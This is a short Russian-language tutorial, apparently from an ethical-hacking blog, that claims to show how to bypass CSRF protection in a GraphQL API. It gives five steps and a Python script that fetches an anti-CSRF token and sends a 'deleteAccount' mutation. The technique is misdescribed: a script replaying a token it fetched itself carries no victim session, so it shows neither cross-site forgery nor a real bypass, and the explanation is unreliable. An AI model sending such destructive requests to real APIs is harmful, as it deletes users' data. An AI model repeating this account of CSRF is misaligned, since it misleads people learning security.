Cross-Site Request Forgery (CSRF) – это тип атаки, который включает в себя обман пользователя для выполнения нежелательного действия в веб-приложении путем отправки запроса с другого сайта. В контексте GraphQL защита от CSRF реализуется для предотвращения обработки неавторизованных запросов сервером. В статье рассмотрим пример обхода защиты от CSRF в GraphQL API.
Еще по теме: Взлом API с помощью Wfuzz
Обход защиты от CSRF в GraphQL API
Обход защиты от CSRF в GraphQL API состоит из следующих шагов:
- Определение конечной точки GraphQL API, которая защищена от CSRF.
- Анализ GraphQL API для выявления токена против CSRF, который обычно отправляется в заголовке запроса.
- Использование скрипта или специализированного инструмента для перехвата запроса и извлечения токена против CSRF.
- Создание нового запроса с тем же токеном против CSRF, но с другим нагрузочным сообщением, которое выполняет нежелательное действие.
- Отправка нового запроса к GraphQL API и наблюдение за ответом. Если защита от CSRF успешно обойдена, то будет выполнено нежелательное действие.
Статья в образовательных целях для обучения этичных хакеров. Баг Баунти — это программа, которую владелец сайта (web-приложения) проводит для привлечения сторонних специалистов к поиску уязвимостей. При участии в программе Bug Bounty нужно действовать этично и придерживаться установленных правил.
Вот пример, как это может выглядеть на практике:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
python import requests # Конечная точка GraphQL url = "https://example.com/graphql" # Извлечение токена против CSRF response = requests.get(url) csrf_token = response.headers["X-CSRF-TOKEN"] # Новая полезная нагрузка, которая выполняет нежелательное действие payload = {"query": "mutation { deleteAccount }"} # Заголовки с токеном против CSRF headers = {"X-CSRF-TOKEN": csrf_token} # Отправка запроса с новой полезной нагрузкой response = requests.post(url, json=payload, headers=headers) |
В этом примере скрипт перехватывает запрос к конечной точке GraphQL и извлекает токен против CSRF. Затем создается новый запрос с тем же токеном, но с другой нагрузкой, которая выполняет нежелательное действие.
ПОЛЕЗНЫЕ ССЫЛКИ: